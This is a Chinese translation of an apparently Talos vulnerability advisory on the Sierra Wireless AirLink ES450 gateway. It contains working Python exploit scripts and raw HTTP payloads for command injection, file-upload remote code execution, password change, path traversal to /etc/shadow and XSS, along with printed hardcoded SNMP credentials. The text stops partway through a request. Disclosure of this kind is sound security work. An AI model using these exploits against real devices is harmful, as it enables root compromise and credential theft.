知名IoT公司Sierra 4G网关产品Wireless AirLink ES450多个漏洞详细分析

41yf1sh 无线安全 2019年5月3日发布
Favorite收藏

导语:近期,我们发现Sierra Wireless AirLink ES450中存在一些可被利用的漏洞,这是一个专门为分布式企业设计的LTE网关,例如零售销售点或工业控制系统。

一、摘要

近期,我们发现Sierra Wireless AirLink ES450中存在一些可被利用的漏洞,这是一个专门为分布式企业设计的LTE网关,例如零售销售点或工业控制系统。由于这些漏洞的存在,为恶意行为者提供了许多攻击媒介,并且可以允许他们远程执行受害计算机上的代码、更改管理员密码、公开用户凭据等。这些漏洞中的大多数,都存在于ES450附带的Wbe服务器ACEManager中。

ACEManager负责设备上的大多数交互,包括设备重新配置、用户身份验证和证书管理。

根据我们的协调披露政策,Cisco Talos与Sierra Wireless开展密切合作,以确保这些问题得到解决,并且为受影响的客户提供更新。

二、ACEManager iplogging.cgi命令注入漏洞(CVE-2018-4061)

Sierra Wireless AirLink ES450 FW 4.9.3的ACEManager iplogging.cgi功能中存在可以被利用的命令注入漏洞。攻击者可以精心构造一个HTTP请求,实现任意命令注入,从而导致任意命令执行。攻击者可以发送经过身份验证的HTTP请求来触发此漏洞。

2.1 CVSSv3评分

9.9 – CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

2.2 CWE

CWE-78:OS命令中使用的特殊元素不恰当的中和(OS命令注入)

2.3 漏洞详情

ACEManager是AirLink ES450附带的Web服务器。该Web服务器负责设备中的大多数交互。该Web服务器具有一些特定的功能,具体包括:路由、设备重新配置、用户身份验证和证书管理。厂商表示,默认情况下,无法从蜂窝WAN访问ACEManager Web应用程序。

如果在ACEManager中向/admin/tools/iplogging.cgi发出请求,则不会正确转义或删除-z标志。该标志负责提供要提供给tcpdump的postrotate命令,该命令允许以root身份执行命令注入。该标志需要-G标志来正确设置要执行的命令的旋转时间帧。

下面的POST请求将会触发此漏洞。

 POST /admin/tools/iplogging.cgi HTTP/1.1
 Host: 192.168.13.31:9191
 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
 Accept: text/plain, */*; q=0.01
 Accept-Language: en-US,en;q=0.5
 Accept-Encoding: gzip, deflate
 Referer: http://192.168.13.31:9191/admin/tools/iplogging.html
 Content-Type: application/x-www-form-urlencoded; charset=UTF-8
 X-Requested-With: XMLHttpRequest
 Content-Length: 63
 Cookie: token=1e9c07e135a15e40b3290c320245ca9a
 Connection: close
 
 tcpdumpParams=tcpdump -z reboot -G 2 -i eth0&stateRequest=start

我们在AirLink ES450中发现了这一漏洞,并进行了相关测试。该漏洞很可能也会影响AirLink GX450产品。

2.4 漏洞利用概念证明

#!/usr/bin/env python
 #Author : Carl Hurd, Cisco Talos
 import sys
 import socket
 import time
 import requests
 
 def auth(ip, port, password):
      data = """<request xmlns="urn:acemanager">
 <connect>
 <login>user</login>
 <password><![CDATA[{}]]></password>
 </connect>
 </request>""".format(password)
 
      response = requests.post("http://"+ip+":"+port+"/xml/Connect.xml", data=data)
 
       try:
           cookies = dict(token=response.headers["Set-Cookie"].split("; ")[0][len("token="):])
           return cookies
      except:
           print("Error while authenticating")
           sys.exit(0)
 
 def main():
      if len(sys.argv) < 5 or len(sys.argv) > 5:
           print("Usage : {} [ip address] [port] [password of user] [cmd to run]".format(sys.argv[0]))
           sys.exit(0)
 
      ip = sys.argv[1]
      port = sys.argv[2]
      password = sys.argv[3]
      cmd = sys.argv[4]
 
      print("Injecting command : {}".format(cmd))
 
      cookies = auth(ip, port, password)
 
      files = {'save-as-filename': (None, "iplogging_params.tcp"), 'file-location': (None, "/tmp/iplogging_params.tcp"), 'upload-file': ('exploit.xml', 'none')}
      response = requests.post("http://"+ip+":"+port+"/cgi-bin/iplogging_upload.cgi", cookies=cookies, files=files)
 
      response = requests.post("http://"+ip+":"+port+"/admin/tools/iplogging.cgi", cookies=cookies, data="stateRequest=getCmds")
 
      data = "tcpdumpParams=tcpdump -z {} -G 1 -i eth0&stateRequest=start".format(cmd)
      response = requests.post("http://"+ip+":"+port+"/admin/tools/iplogging.cgi", cookies=cookies, data=data)
 
      response = requests.post("http://"+ip+":"+port+"/admin/tools/iplogging.cgi", cookies=cookies, data="stateRequest=queryStatus")
 
 if __name__ == "__main__":
     main()

三、SNMPD硬编码凭据漏洞(CVE-2018-4062)

Sierra Wireless AirLink ES450 FW 4.9.3的SNMPD功能中存在硬编码凭据漏洞。在WebUI外部激活SNMPD,可能会导致激活硬编码凭据,从而导致特权用户暴露。攻击者无需对任何配置进行更改,即可激活SNMPD,并触发这一漏洞。

3.1 CVSSv3评分

7.7 – CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:L/A:H

3.2 CWE

CWE-798:使用硬编码凭证

3.3 漏洞详情

硬编码的凭据sierra:12345678:abcdefgh被保存在SNMPv3的snmpd.conf文件中。如果从Web用户界面外部执行snmpd,则该硬编码用户处于活动状态。Sierra用户具有设备的读写权限。

snmpwalk -v3 -u sierra -l authPriv -a MD5 -A 12345678 -x DES -X abcdefgh 192.168.13.31 -e 80001f8880e8e6831c32486858

该命令执行设备MIB的特权snmpwalk。

保存这些硬编码凭据的配置文件如下所示。

/usr/local/share/snmp/snmpd.conf:

 ###########################################################################
 #
 # snmpd.conf
 #
 #   - created by the snmpconf configuration program
 #
 ###########################################################################
 # SECTION: Access Control Setup
 #
 #   This section defines who is    allowed to talk to your running
 #   snmp agent.
 
 # rwuser: a SNMPv3 read-write      user
 #   arguments:  user [noauth| auth|priv] [restriction_oid]
 
 # rwuser  sierra priv
 rocommunity public
 
 ... truncated for brevity
 
 sysservices 12
 
 rwuser sierra

/var/net-snmp/snmpd.conf:

createUser sierra MD5 "12345678" DES "abcdefgh"

我们在AirLink ES450中发现了这一漏洞,并进行了相关测试。该漏洞很可能也会影响AirLink GX450产品。

3.4 漏洞利用概念证明

启动/usr/local/sbin/snmpd –f,这可以借助其他漏洞利用程序或Root Shell来实现。

执行下述命令,可以用于设备的完整snmpwalk:

snmpwalk -v3 -u sierra -l authPriv -a MD5 -A 12345678 -x DES -X abcdefgh 192.168.13.31 -e 80001f8880e8e6831c32486858

需要注意的是,如果通过WebUI激活SNMP,那么上述漏洞将不起作用,具体取决于我们激活的版本,在配置期间会覆盖其中的一个文件。

四、ACEManager upload.cgi远程代码执行漏洞(CVE-2018-4063)

Sierra Wireless AirLink ES450 FW 4.9.3的upload.cgi功能中存在可以被利用的远程代码执行漏洞。攻击者可以精心构造一个HTTP请求,并将其用于上传文件,从而导致可执行代码被上传,并且可以路由到Web服务器。攻击者可以发出经过身份验证的HTTP请求以触发此漏洞。

4.1 CVSSv3评分

9.9 – CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

4.2 CWE

CWE-434:未对上传危险类型的文件进行限制

4.3 漏洞详情

ACEManager是AirLink ES450附带的Web服务器。该Web服务器负责设备中的大多数交互。该Web服务器具有一些特定的功能,具体包括:路由、设备重新配置、用户身份验证和证书管理。厂商表示,默认情况下,无法从蜂窝WAN访问ACEManager Web应用程序。

在AirLink 450模板中的文件上传功能存在此漏洞。在上传模板文件时,我们可以指定要上传的文件的名称。其中,没有任何限制可以保护当前存储在设备上的文件用于正常操作。如果上传的文件与目录中已经存在的文件名称相同,则我们可以继承该文件的权限。在这种情况下,模板文件保存到目录中(已经存在)的文件包括:

fw_expected_rm.cgi
fw_status.cgi
fw_upload_init.cgi
fw_upload_init.sh
rm_switching_action.cgi

这些文件都具有设备的可执行权限。通过上传一个小包装器(Wrapper),我们可以将任意代码上传到设备,只需通过浏览器导航到网页即可实现。由于ACEManager以root身份运行,所以运行的任何可执行文件也将具有root的身份。下面的请求展现了基本文件上传的过程,并展现了运行的权限。

POST /cgi-bin/upload.cgi HTTP/1.1
Host: 192.168.13.31:9191
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.13.31:9191/admin/ACEmanagerX.html
Cookie: token=2389c2dfe87bf6e33b0f9009a1ae9889
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=--------1355696654
Content-Length: 501
 
----------1355696654
Content-Disposition: form-data; name="save-as-filename"
 
SWITemplate.xml
----------1355696654
Content-Disposition: form-data; name="file-location"
 
../admin/SWITemplate.xml
----------1355696654
Content-Disposition: form-data; name="upload-file"; filename="fw_upload_init.cgi"
Content-Type: text/plain
 
#!/bin/sh
. /tmp/swialeosdefs
. /usr/local/sbin/webif_lib
eval "`/sbin/proccgi $*`"
print_http_header
echo "Remote Code Execution as `whoami` : `id`"
exit 0;
 
----------1355696654—

尽管上述代码仅运行了简单的Shell脚本,但可以实现二进制文件的上传。

我们在AirLink ES450中发现了这一漏洞,并进行了相关测试。该漏洞很可能也会影响AirLink GX450产品。

4.4 漏洞利用概念证明

#!/usr/bin/env python
#Author : Carl Hurd, Cisco Talos
import sys
import requests
 
# This does not have to be a shell script, you can upload a binary and run it in a similar fashion
uploaded_file = """#!/bin/sh
. /tmp/swialeosdefs
. /usr/local/sbin/webif_lib
eval "`/sbin/proccgi $*`"
print_http_header
echo "Remote Code Execution as `whoami` : `id`"
exit 0;"""
 
def auth(ip, port, password):
    data = """<request xmlns="urn:acemanager">
<connect>
<login>user</login>
<password><![CDATA[{}]]></password>
</connect>
</request>""".format(password)
 
    response = requests.post("http://"+ip+":"+port+"/xml/Connect.xml", data=data)
 
    try:
        cookies = dict(token=response.headers["Set-Cookie"].split("; ")[0][len("token="):])
        return cookies
    except:
        print("Error while authenticating")
        sys.exit(0)
 
def main():
    if len(sys.argv) < 4 or len(sys.argv) > 4:
        print("Usage : {} [ip address] [port] [password of user] [absolute path of file to check]".format(sys.argv[0]))
        sys.exit(0)
 
    ip = sys.argv[1]
    port = sys.argv[2]
    password = sys.argv[3]
 
    cookies = auth(ip, port, password)
 
    files = {'save-as-filename': (None, "SWITemplate.xml"), 'file-location': (None, "../admin/SWITemplate.xml"), 'upload-file': ('fw_upload_init.cgi', uploaded_file, 'text/xml')}
    response = requests.post("http://"+ip+":"+port+"/cgi-bin/upload.cgi", cookies=cookies, files=files)
 
    response = requests.get("http://"+ip+":"+port+"/admin/fw_upload_init.cgi", cookies=cookies)
 
    print(response.text)
 
if __name__ == "__main__":
    main()

五、ACEManager upload.cgi未经验证的密码更改漏洞(CVE-2018-4064)

Sierra Wireless AirLink ES450 FW 4.9.3的ACEManager upload.cgi功能中存在可以被利用的未经验证密码更该漏洞。攻击者可以精心构造一个HTTP请求,导致未经验证的设备配置更改,从而导致设备上的“user”密码在未经验证的情况下被攻击者更改。攻击者可以发送经过身份验证的HTTP请求以触发此漏洞。

5.1 CVSSv3评分

8.5 – CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:H/A:L

5.2 CWE

CWE-620:未经验证的密码修改

5.3 漏洞详情

ACEManager是AirLink ES450附带的Web服务器。该Web服务器负责设备中的大多数交互。该Web服务器具有一些特定的功能,具体包括:路由、设备重新配置、用户身份验证和证书管理。厂商表示,默认情况下,无法从蜂窝WAN访问ACEManager Web应用程序。

利用WebUI中的模板上传功能,经过身份验证的用户无需验证,即可更改MSCIID设置。尽管更改用户密码的常规方式需要旧的用户密码,但如果上传下面的XML模板,可以允许经过身份验证的用户无需验证此前的密码即可实现密码更改。

模板数据:

<?xml version="1.0" ?>
 <template>
    <item msciid="5003" title="User Password" value="password01" />
 </template>

这一过程,可以通过使用WebUI模板上传,或使用下面的HTTP请求来完成。

 POST /cgi-bin/upload.cgi HTTP/1.1
 Host: 192.168.13.31:9191
 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
 Accept-Language: en-US,en;q=0.5
 Accept-Encoding: gzip, deflate
 Referer: http://192.168.13.31:9191/admin/ACEmanagerX.html
 Cookie: token=cab34a8c2f7708f1163a22ed272a7e4f
 Connection: close
 Upgrade-Insecure-Requests: 1
 Content-Type: multipart/form-data; boundary=---------------------------98690229210303203401454887637
 Content-Length: 624
 
 -----------------------------98690229210303203401454887637
 Content-Disposition: form-data; name="save-as-filename"
 
 SWITemplate.xml
 -----------------------------98690229210303203401454887637
 Content-Disposition: form-data; name="file-location"
 
 ../admin/SWITemplate.xml
 -----------------------------98690229210303203401454887637
 Content-Disposition: form-data; name="upload-file"; filename="SWIApplyTemplate.xml"
 Content-Type: text/xml
 
 <?xml version="1.0" ?>
 <template>
    <item msciid="5003" title="User Password" value="password01" />
 </template>
 
 -----------------------------98690229210303203401454887637—

然后,请求内容如下:

 POST /cgi-bin/template_load.cgi HTTP/1.1
 Host: 192.168.13.31:9191
 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0
 Accept: text/plain, */*; q=0.01
 Accept-Language: en-US,en;q=0.5
 Accept-Encoding: gzip, deflate
 Referer: http://192.168.13.31:9191/admin/ACEmanagerX.html
 Content-Type: application/x-www-form-urlencoded; charset=UTF-8
 X-Requested-With: XMLHttpRequest
 Content-Length: 40
 Cookie: token=cab34a8c2f7708f1163a22ed272a7e4f
 Connection: close
 
 path=/www/auth/user/SWIApplyTemplate.xml

其他MSCIID值也可以在未经验证的情况下进行更改,如果在上述模板中省略MSCIID,则意味着该值将与当前状态保持不变。

我们在AirLink ES450中发现了这一漏洞,并进行了相关测试。该漏洞很可能也会影响AirLink GX450产品。

5.4 漏洞利用概念证明

 #!/usr/bin/env python
 #Author : Carl Hurd, Cisco Talos
 import sys
 import requests
 
 from requests_toolbelt.utils import dump
 
 def auth(ip, port, password):
      data = """<request xmlns="urn:acemanager">
      <connect>
      <login>user</login>
      <password><![CDATA[{}]]></password>
      </connect>
      </request>""".format(password)
 
      response = requests.post("http://"+ip+":"+port+"/xml/Connect.xml", data=data)
 
      try:
           cookies = dict(token=response.headers["Set-Cookie"].split("; ")[0][len("token="):])
           return cookies
      except:
           print("Error while authenticating")
           sys.exit(0)
 
 def main():
      if len(sys.argv) < 5 or len(sys.argv) > 5:
           print("Usage : {} [ip address] [port] [password of user] [absolute path of file to check]".format(sys.argv[0]))
           sys.exit(0)
 
      ip = sys.argv[1]
      port = sys.argv[2]
      password = sys.argv[3]
      new_pass = sys.argv[4]
 
      print("New Password : {}\n".format(new_pass))
 
      cookies = auth(ip, port, password)
 
      xml = """<?xml version="1.0" ?>
      <template>
           <item msciid="5003" title="User Password" value="{}" />
      </template>""".format(new_pass)
 
      files = {'save-as-filename': (None, "SWITemplate.xml"), 'file-location': (None, "../admin/SWITemplate.xml"), 'upload-file': ('SWIApplyTemplate.xml', xml, 'text/xml')}
      response = requests.post("http://"+ip+":"+port+"/cgi-bin/upload.cgi", cookies=cookies, files=files)
 
      response = requests.post("http://"+ip+":"+port+"/cgi-bin/template_load.cgi", cookies=cookies, data="path=/www/auth/user/SWIApplyTemplate.xml", headers={"Content-Type": "application/x-www-form-urlencoded"})
 
      print(response.text)
 
 if __name__ == "__main__":
      main()

六、ACEManager ping_result.cgi跨站脚本漏洞(CVE-2018-4065)

Sierra Wireless AirLink ES450 FW 4.9.3的ACEManager ping_result.cgi功能中存在可以别利用的跨站脚本漏洞。攻击者精心构造的HTTP ping请求可以导致反射的JavaScript在受害者的浏览器上执行,从而导致运行恶意代码。攻击者可以诱导受害者单击重定向到反射的跨站脚本漏洞的链接或嵌入式URL来实现漏洞利用。

6.1 CVSSv3评分

6.1 – CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

6.2 CWE

CWE-79:网页生成期间的输入内容存在不恰当的中和(跨站脚本漏洞)

6.3 漏洞详情

ACEManager是AirLink ES450附带的Web服务器。该Web服务器负责设备中的大多数交互。该Web服务器具有一些特定的功能,具体包括:路由、设备重新配置、用户身份验证和证书管理。厂商表示,默认情况下,无法从蜂窝WAN访问ACEManager Web应用程序。

ping_result.cgi二进制文件在将输入反射回客户端之前,没有正确过滤输入内容。这种不正确的过滤允许将JavaScript注入到客户端的响应之中。这可以用于在客户端浏览器上运行代码,例如代表用户发出请求,或披露凭据令牌(Token)。

POST请求:

 POST /admin/tools/ping_result.cgi HTTP/1.1
 Host: 192.168.13.31:9191
 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0
 Accept: */*
 Accept-Language: en-US,en;q=0.5
 Accept-Encoding: gzip, deflate
 Referer: http://192.168.13.31:9191/admin/tools/ping.html
 Content-Type: application/x-www-form-urlencoded; charset=UTF-8
 X-Requested-With: XMLHttpRequest
 Content-Length: 61
 Cookie: token=5a412d6dbc3618b3e4ffd7219460f942
 Connection: close
 
 host=192.168.13.31<script>alert('xss')</script>

GET请求:

 GET /admin/tools/ping_result.cgi?host=1.1.1.1%27%3Cscript%3Ealert(%27xss%27)%3C/script%3E HTTP/1.1
 Host: 192.168.13.31:9191
 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
 Accept-Language: en-US,en;q=0.5
 Accept-Encoding: gzip, deflate
 Cookie: token=5a412d6dbc3618b3e4ffd7219460f942
 Connection: close
 Upgrade-Insecure-Requests: 1

我们在AirLink ES450中发现了这一漏洞,并进行了相关测试。该漏洞很可能也会影响AirLink GX450产品。

6.4 漏洞利用概念证明

在ACEManager进行身份验证后,导航到http://192.168.13.31:9191/admin/tools/ping_result.cgi?host=1.1.1.1%27%3Cscript%3Ealert(%27xss%27)%3C/script%3E ,即可展示出跨站脚本漏洞引发的alert提示框。

七、ACEManager跨站请求伪造漏洞(CVE-2018-4066)

Sierra Wireless AirLink ES450 FW 4.9.3的ACEManager功能中存在可以利用的跨站请求伪造漏洞。攻击者精心构造的HTTP请求可能导致经过身份验证的用户在不知不觉中执行特权的请求,从而导致经过身份验证的用户发起一些不符合当前权限的请求。触发该漏洞后,可能允许攻击者通过经过身份验证的用户来获取身份验证后的页面。

7.1 CVSSv3评分

6.4 – CVSS:3.0/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:H/A:H

7.2 CWE

CWE-352:跨站请求伪造(CSRF)漏洞

7.3 漏洞详情

ACEManager是AirLink ES450附带的Web服务器。该Web服务器负责设备中的大多数交互。该Web服务器具有一些特定的功能,具体包括:路由、设备重新配置、用户身份验证和证书管理。厂商表示,默认情况下,无法从蜂窝WAN访问ACEManager Web应用程序。

Web服务器的ACEManager缺少防范跨站请求伪造的标头。如下所示,这里没有提供标头来检查跨站请求伪造。这些存在漏洞的标头可以让服务器以连续的方式来检查请求是否来自于类似的会话,确保它们不是来自利用预先认证会话的不相关浏览器链接。

POST /cgi-bin/Embedded_Ace_Get_Task.cgi HTTP/1.1
Host: 192.168.13.31:9191
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50215)
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,video/x-mng,image/png,image/jpeg,image/gif;q=0.2,*/*;q=0.1
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.13.31:9191/admin/ACEmanagerX.html
Content-Type: text/xml
Cache-Control: no-cache, must-revalidate
Pragma: no-cache
Content-Length: 89
Cookie: token=5a412d6dbc3618b3e4ffd7219460f942
Connection: close

我们在AirLink ES450中发现了这一漏洞,并进行了相关测试。该漏洞很可能也会影响AirLink GX450产品。

八、ACEManager template_load.cgi信息泄漏漏洞(CVE-2018-4067)

Sierra Wireless AirLink ES450 FW 4.9.3的ACEManager template_load.cgi功能中存在可以利用的信息泄漏漏洞。攻击者精心构造的HTTP请求可能导致信息泄漏,从而导致内部路径和文件的泄漏。攻击者可以在经过身份验证后发出HTTP请求,来触发这一漏洞。

8.1 CVSSv3评分

5.0 – CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N

8.2 CWE

CWE-200:信息泄漏

8.3 漏洞详情

ACEManager是AirLink ES450附带的Web服务器。该Web服务器负责设备中的大多数交互。该Web服务器具有一些特定的功能,具体包括:路由、设备重新配置、用户身份验证和证书管理。厂商表示,默认情况下,无法从蜂窝WAN访问ACEManager Web应用程序。

/cgi-bin/template_load.cgi二进制文件负责加载先前上传的模板文件,并用于配置设备。如果我们绕过这一过程的上传阶段,并直接利用template_load.cgi,我们可以在path参数中通过目录遍历来暴露设备上的内部路径。下面的请求展现了一个不存在的文件,以及一个确实存在的文件。根据错误消息,我们能够确定文件是否存在于所提供的路径之中。

文件不存在:

 POST /cgi-bin/template_load.cgi HTTP/1.1
 Host: 192.168.13.31:9191
 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
 Accept: text/plain, */*; q=0.01
 Accept-Language: en-US,en;q=0.5
 Accept-Encoding: gzip, deflate
 Referer: http://192.168.13.31:9191/admin/ACEmanagerX.html
 Content-Type: application/x-www-form-urlencoded; charset=UTF-8
 X-Requested-With: XMLHttpRequest
 Content-Length: 40
 Cookie: token=e9fa78d203adc768483d1409ac904133
 Connection: close
 
 path=/www/auth/user/../../../etc/shadows
 
 ---------------------------------------------------------------
 HTTP/1.1 200 OK
 Status: 501 Internal Error
 
 Cannot open /www/auth/user/../../../etc/shadows for reading

文件存在:

 POST /cgi-bin/template_load.cgi HTTP/1.1
 Host: 192.168.13.31:9191
 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
 Accept: text/plain, */*; q=0.01
 Accept-Language: en-US,en;q=0.5
 Accept-Encoding: gzip, deflate
 Referer: http://192.168.13.31:9191/admin/ACEmanagerX.html
 Content-Type: application/x-www-form-urlencoded; charset=UTF-8
 X-Requested-With: XMLHttpRequest
 Content-Length: 40
 Cookie: token=e9fa78d203adc768483d1409ac904133
 Connection: close
 
 path=/www/auth/user/../../../etc/shadow
 
 ---------------------------------------------------------------
 HTTP/1.1 200 OK
 Status: 400 Bad Request
 
 Template document structure is incorrect or unrecognizable

我们在AirLink ES450中发现了这一漏洞,并进行了相关测试。该漏洞很可能也会影响AirLink GX450产品。

8.4 漏洞利用概念证明

 #!/usr/bin/env python
 #Author : Carl Hurd, Cisco Talos
 import sys
 import requests
 
 def auth(ip, port, password):
      data = """<request xmlns="urn:acemanager">
      <connect>
      <login>user</login>
      <password><![CDATA[{}]]></password>
      </connect>
      </request>""".format(password)
 
      response = requests.post("http://"+ip+":"+port+"/xml/Connect.xml", data=data)
 
      try:
           cookies = dict(token=response.headers["Set-Cookie"].split("; ")[0][len("token="):])
           return cookies
      except:
           print("Error while authenticating")
           sys.exit(0)
 
 def main():
      if len(sys.argv) < 5 or len(sys.argv) > 5:
           print("Usage : {} [ip address] [port] [password of user] [absolute path of file to check]".format(sys.argv[0]))
           sys.exit(0)
 
      ip = sys.argv[1]
      port = sys.argv[2]
      password = sys.argv[3]
      path = sys.argv[4]
 
      print("Path : {}\n".format(path))
 
      cookies = auth(ip, port, password)
 
      data = "path=/www/auth/user/../../.." + path
      response = requests.post("http://"+ip+":"+port+"/cgi-bin/template_load.cgi", cookies=cookies, data=data, headers={"Content-Type": "application/x-www-form-urlencoded"})
 
      if "501" in response.headers["Status"]:
           print("{} : Does not exist".format(path))
      elif "400" in response.headers["Status"]:
           print("{} : Does exist".format(path))
      else:
           print("Unexpected status received!")
 
 if __name__ == "__main__":
      main()

九、ACEManager信息泄漏漏洞(CVE-2018-4068)

Sierra Wireless AirLink ES450 FW 4.9.3的ACEManager功能中存在可以被利用的信息泄漏漏洞。HTTP请求可能导致公开设备的默认配置。攻击者可以发送未经身份验证的HTTP请求来触发此漏洞。

9.1 CVSSv3评分

5.3 – CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

9.2 CWE

CWE-200:信息泄漏

9.3 漏洞详情

ACEManager是AirLink ES450附带的Web服务器。该Web服务器负责设备中的大多数交互。该Web服务器具有一些特定的功能,具体包括:路由、设备重新配置、用户身份验证和证书管理。厂商表示,默认情况下,无法从蜂窝WAN访问ACEManager Web应用程序。

设备的默认配置存储在一个可以在未经身份验证的情况下请求的位置。配置中包含恢复出厂设置的所有详细信息,包括但不限于纯文本形式的默认密码。

该文件在/defaults.xml中提供,而在设备上则位于/www/pub/defaults.xml的位置。下面的请求将尝试下载默认配置:

 GET /defaults.xml HTTP/1.1
 Host: 192.168.13.31:9191
 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
 Accept-Language: en-US,en;q=0.5
 Accept-Encoding: gzip, deflate
 Connection: close
 Upgrade-Insecure-Requests: 1
 If-Modified-Since: Thu, 19 Apr 2018 03:41:36 GMT

我们在AirLink ES450中发现了这一漏洞,并进行了相关测试。该漏洞很可能也会影响AirLink GX450产品。

9.4 漏洞利用概念证明

#!/usr/bin/env python
#Author : Carl Hurd, Cisco Talos
import sys
import socket
import time
import requests
 
 
def main():
    if len(sys.argv) < 3 or len(sys.argv) > 3:
        print("Usage : {} [ip address] [port] ".format(sys.argv[0]))
        sys.exit(0)
 
    ip = sys.argv[1]
    port = sys.argv[2]
 
    response = requests.get("http://"+ip+":"+port+"/defaults.xml")
 
    print(response.text)
 
 
if __name__ == "__main__":
    main()

十、ACEManager信息泄漏漏洞(CVE-2018-4069)

Sierra Wireless AirLink ES450 FW 4.9.3的ACEManager身份验证功能中存在信息泄漏漏洞。

ACEManager身份验证功能会以明文XML格式传输到Web服务器。攻击者可以侦听该设备上游的网络流量,从而实现该漏洞的利用。

10.1 CVSSv3评分

5.9 – CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N

10.2 CWE

CWE-311:缺少对于敏感数据的加密

10.3 漏洞详情

ACEManager是AirLink ES450附带的Web服务器。该Web服务器负责设备中的大多数交互。该Web服务器具有一些特定的功能,具体包括:路由、设备重新配置、用户身份验证和证书管理。厂商表示,默认情况下,无法从蜂窝WAN访问ACEManager Web应用程序。

ACEManager的身份验证过程,使用了明文凭据进行客户端与Web服务器之间的通信。攻击者可以从网络中嗅探该明文认证信息,并将其用于登录设备。

认证请求:

POST /xml/Connect.xml HTTP/1.1
Host: 192.168.13.31:9191
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: application/xml, text/xml, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.13.31:9191/
Content-Type: text/xml
X-Requested-With: XMLHttpRequest
Content-Length: 129
Cookie: token=1774ad8f3ee180cdd62e29611e1efc9c
Connection: close
 
 <request xmlns="urn:acemanager">
 <connect>
 <login>user</login>
 <password><![CDATA[password012]]></password>
 </connect>
 </request>

我们在AirLink ES450中发现了这一漏洞,并进行了相关测试。该漏洞很可能也会影响AirLink GX450产品。

10.4 漏洞利用概念证明

 #!/usr/bin/env python
 #Author : Carl Hurd, Cisco Talos
 import sys
 import requests
 
 from requests_toolbelt.utils import dump
 
 def auth(ip, port, password):
      data = """<request xmlns="urn:acemanager">
      <connect>
      <login>user</login>
      <password><![CDATA[{}]]></password>
      </connect>
      </request>""".format(password)
 
      response = requests.post("http://"+ip+":"+port+"/xml/Connect.xml", data=data)
 
      data = dump.dump_all(response) print(data.decode('utf-8'))
 
 def main():
      if len(sys.argv) < 4 or len(sys.argv) > 4:
           print("Usage : {} [ip address] [port] [password of user]".format(sys.argv[0]))
           sys.exit(0)
 
      ip = sys.argv[1]
      port = sys.argv[2]
      password = sys.argv[3]
 
      auth(ip, port, password)
 
 
 if __name__ == "__main__":
      main()

十一、ACEManager Embedded_Ace_Get_Task.cgi信息泄漏漏洞(CVE-2018-4070 | 4071)

Sierra Wireless AirLink ES450 FW 4.9.3的ACEManager Embedded_Ace_Get_Task.cgi功能中存在可以被利用的信息泄漏漏洞。攻击者精心构造的HTTP请求可能会导致信息泄漏,从而导致机密信息的泄漏,包括但不限于纯文本密码以及SNMP通信字符串。攻击者可以发出经过身份验证的HTTP请求,或运行二进制文件来触发此漏洞。

11.1 CVSSv3评分

7.7 – CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N

11.2 CWE

CWE-200:信息泄漏

11.3 漏洞详情

ACEManager是AirLink ES450附带的Web服务器。该Web服务器负责设备中的大多数交互。该Web服务器具有一些特定的功能,具体包括:路由、设备重新配置、用户身份验证和证书管理。厂商表示,默认情况下,无法从蜂窝WAN访问ACEManager Web应用程序。

我们在AirLink ES450中发现了这一漏洞,并进行了相关测试。该漏洞很可能也会影响AirLink GX450产品。

(1)CVE-2018-4070

EmbeddedAceGet_Task.cgi可执行文件用于在AirLink ES450的配置管理器中检索MSCII配置值。该二进制文件没有任何受限制的配置设置,因此一旦发现MSCIID,任何经过身份验证的用户都可以使用/cgi-bin/Embedded_Ace_Get_Task.cgi终端发送配置更改。下面的请求展现了用于以纯文本格式检索设备的用户密码的MSCIID。

 POST /cgi-bin/Embedded_Ace_Get_Task.cgi HTTP/1.1
 Host: 192.168.13.31:9191
 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50215)
